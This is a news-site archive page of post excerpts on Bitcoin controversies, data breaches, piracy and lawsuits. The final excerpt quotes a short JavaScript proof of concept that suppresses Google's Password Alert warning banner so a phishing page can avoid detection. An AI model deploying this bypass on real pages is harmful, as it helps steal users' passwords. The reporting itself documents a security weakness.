Qntra and others have been detailing potential ulterior motives for the push for an XT hard fork. Populist support for "Bitcoin"XT tends to ignore code that has not been well publicized or that they find inconvenient to acknowledge. The code in question relates to the deanonymization of XT nodes running on Tor and the blacklisting of Tor exit addresses. This is achieved through an IP address blacklist of nodes which "misbehave" and checked daily against a list of nodes maintained by Mike Hearn which the XT client dutifully fetches. Continue reading
Category Archives: Fraud
Karpeles Facing Charges in Japan?
Mark Karpeles the CEO of the infamously defunct Mt. Gox is facing charges on fraud based on a
report released this week. An anonymous translation of the report can be seen below: Continue reading
Universal Shares Own Film With Pirates
On the 15th of this month Universal Pictures France filed a takedown request with Google (archived) demanding they remove from results sites hosting or linking pirated copies of Jurassic World. Among the addresses Universal demanded Google sanction was 127.0.0.1 which is the IP address a computer reserves for communicating with itself. This means that not only was Universal seeding its own film to pirates, it was likely doing so from the same machine used detect and prepare a report on infringement for Universal. Continue reading
ALM CEO Cries 'Terrorism' after Ashley Madison Hack
Billing itself as a dating site specifically for people in relationships who wish to have an affair, Ashley Madison was recently breached by an entity calling itself The Impact Team. A Gitlab user of the same name reportedly released a partial database dump containing members' personal information, including email and physical addresses and real names, though the dump was no longer accessible as of July 21st. In a message left on the site and since removed, the breacher claims to have "taken over all systems in [Avid Life Media (Ashley Madison's parent company)'s] entire office and production domains, all customer information databases, source code repositories, financial records, emails." The message lambasted ALM for charging its users a $19 fee to delete their account data while keeping their credit card purchase details including names and addresses on file, and threatened to release a complete database dump unless the company "shuts down" Ashley Madison and Established Men, another site it "owns". Continue reading
Kickass Torrents Dropped From Google Search Results
Torrent Freak and others are reporting that Google has dropped Kickass Torrents from its search results, describing Google's action as a "severe penalty" to its search rankings. After the final collapse of the Pirate Bay Kickass Torrents has ascended to become the most popular torrent site. Kickass Torrents as moved domains in its history but at the moment has settled at the domain kat.cr for the foreseeable future. Google over its decade and a half of existence has moved away from its PageRank algorithm which brought it to dominance instead favoring manual actions to shape search results. Immediately after dropping Kickass Torrents from search results the first result on Google for the query "Kickass Torrents" was a known malware site imitating the actual Kickass Torrents site.
French TV Venture CANAL+ Hacked, Suppresses News with DMCA
TorrentFreak reports major French television Canal+ hits Github with DMCA complaint after experiencing a severe AWS breach. The hacker, who ran the “hooperp” Github repository, was able to steal “all the data and codes” regarding its new CRM project “Kiss deploy”, before using the server’s key to mine Bitcoin. Legal counsel for Canal+ revealed: Continue reading
Hulk Hogan Puts Denton's Control of Gawker Media on Life Support
A Pinellas county Florida suit by Terry 'Hulk Hogan' Bollea against Gawker Media and two private individuals, Heather and Bubba "the Love Sponge" Clem, is part of a storm of misfortune that is placing Nick Denton's continued control of Gawker Media in jeopardy. The lawsuit relates to Gawker's publication of a sex tape where Bollea fucks Heather Clem. The tape also features Bubba "the Love Sponge Clem" giving his blessing for the coital act between Bollea and his ex-wife Heather. The Hulkster is seeking $100 million in damages against Gawker Media for their role in the publication of this sex tape. Gawker posted the tape on October 4th 2012 and an injunction was issued in April 2013. As of the time of this reporting the original post features a link that they purport still hosts the video though it no longer does. Continue reading
CoinJar COO Ryan Zhou Caught Impersonating Dice Site's Developer
Co-founder and COO of CoinJar Ryan Zhou – better known as Zhoutong and for his involvement in the two thefts which plagued Bitcoinica back in 2012 – has been found once again with his hand in the cookie jar this time impersonating the developer of the bitcoin gambling sites BitDice.me and DogeDice.me on the subreddit /r/bitcoinmarkets.
Starting with a now deleted post in which an unknown user – arguably Zhoutong himself – complained that BTC-e had locked their account containing over 100 BTC and would not release the funds unless the user was forthcoming with identity documents. BitDice.me has since confirmed BTC-e locked the user's account at its behest after the funds were withdrawn from the dice site earlier this year when a user exploited the fact the dice site's administrator foolishly left test code on the live site which enabled users to add the site's own bitcoin to their account. Continue reading
BitGo Files MultiSig Patent Application Joining Other Bitcoin Patent Parasites
An application has been filed (local mirror) with the United States Patent and Trademark office by Bitgo Inc. of San Francisco which if accepted would assign patent rights over the process behind Bitcoin multiple signature addresses to BitGo. Titled "Virtual Currency Address Security" the application lists Michael A. Belshe and Joseph William Lee as inventors of the technology. A proof of concept implementation of multi signature addresses was incorporated into the BitcoinJS library in November of 2013. Continue reading
Google Password Alert Already Subverted
This week Google released a browser extension designed to warn users when they enter their Google password on any page that is not controlled by Google, and this piece of security theater has already been subverted. Researcher Paul Moore has already created of Proof of Concept (Not a Google Login Page) which subverts the browser extension using a few lines of Javascript. The snippet of Javascript in question is below:
<!-- BYPASS GOOGLE'S PASSWORD ALERT "PROTECTION" -->
<script type="text/javascript">
setInterval(function() {
if(document.getElementById("warning_banner")) {
document.getElementById("warning_banner").remove();
}
}, 5);